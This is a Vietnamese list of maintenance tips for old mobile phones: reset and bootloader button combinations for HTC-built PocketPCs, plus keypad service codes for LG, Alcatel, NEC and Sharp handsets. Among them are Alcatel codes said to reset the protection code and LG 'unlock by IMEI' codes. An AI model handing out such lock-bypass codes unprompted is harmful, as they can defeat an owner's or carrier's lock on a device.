a- Dòng máy Himalaya (O2 Xda II /Qtek 2020 / Orange SPV M1000/ I-Mate PocketPC/ Dopod 696):- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Power + Soft Reset
- Enter Bootloader: DPad(Nút chính giữa) + HardReset
b- Dòng máy Magician (O2 Xda II mini / T-Mobile MDA Compact/ Dopod 818 / I-mate JAM Qtek S100):
- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Power + Soft Reset
- Enter Bootloader: Camera + HardReset
c- Dòng máy Blue Angel (O2 Xda IIs/ Dopod 700/ I-mate PDA2k/ T-Mobile MDA III/ SPV M2000/ Qtek 9090):- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Power + Soft Reset
- Enter Bootloader: Record + HardReset
d- Dòng máy Alpine (O2 Xda IIi/Dopod 699 / I-mate PDA2/Qtek 2020i/SPV M2500):
- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Power + Soft Reset
- Enter Bootloader: Dpad (Nút chính giữa) + HardReset
e- Dòng máy Universal (O2 Xda Exec / Dopod 900 / Qtek 9000/T-Mobile MDA Pro/ I-mate JASJAR):- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Messages + Calendar + Soft Reset è sau đó ấn phím 0
- Enter Bootloader: Power + Record + Camera + Đèn + Soft Reset
f- Dòng máy Wizard (O2 Xda II mini S/Qtek 9100 / I-mate K-JAM / T-Mobile MDA Vario):- Soft reset: Dùng bút chọc vào lỗ Reset
- Hard Reset: Comm Manager + Record + Power + Camera + Soft Reset è ấn phím Gọi
- Enter Bootloader: Power + Camera + Soft Reset

6 . Một số lệnh Reset cho LG 3G
LG 8110, 8120 : 277634#*#
LG 8130, 8138 : 47328545454#
LG 8380 : 525252#*#
LG 8360 : *6*41*12##
LG 8180v10A :498 574 654 54#
LG 8180v11A : 492 662 464 663#
LG 8330 : 637664#*#
LG reset
2945#*#
unlock by IMEI 1945#*5101#
LG C3100...... 2945#*5101#
LG B1200...... 1945#*5101#
LG 7020...... 2945#*70001#
LG W510...... 2945#*5101#MENU
LG C1200...... 2945#*1201#
LG 8550 : 885508428679#*#

7 . Mã lệnh Reset mã bảo vệ cho Alcatel
- Alcatel HD1 & HE1: 25228353.
- Alcatel BE1 & BE3: 25228352.
- Alcatel BE4 & BE5: 83227423
- Alcatel BF3 & BF4: 83227423

8 . Lệnh chuyển đổi nhanh ngôn ngữ của máy Nec
*00039# - Italy
*00044# - UK English
*00045# - Denmark
*00046# - Sweden
*00047# - Norway// not av
*00048# - Poland// not av
*00033# - France
*00049# - Germany
*00086# - China
Các máy của máy Sharp 2G (và một số máy 3G)
*01763*278257# Assert Fail Log clear
*01763*2783771#
*01763*2783772#
*01763*2783773#
*01763*2783774#
*01763*2783775#
*01763*3640# disable Engineering Mode
*01763*3641# enable Engineering Mode
*01763*4634# IMEI
*01763*5640# disable LOG
*01763*5641# enable LOG
*01763*6365641#
*01763*6370# disable MEP menue (unlock menue)
*01763*6371# enable MEP menue (unlock menue)
*01763*63866330# disable NetMode
*01763*63866331# enable NetMode
*01763*753371# Sleep Check
*01763*8371# Firmware Version
*01763*8781# Test #1
*01763*8782# Test #2
*01763*8783# Test #3
*01763*8784# Test #4
*01763*8785# Test #5
*01763*8786# Test #6
*01763*8787# Test #7
*01763*87870# Test #70
*01763*87871# Test #71
*01763*87872# Test #72
*01763*87873# Test #73
*01763*87874# Test #74
*01763*8788# Test #8
*01763*87891#
*01763*87892#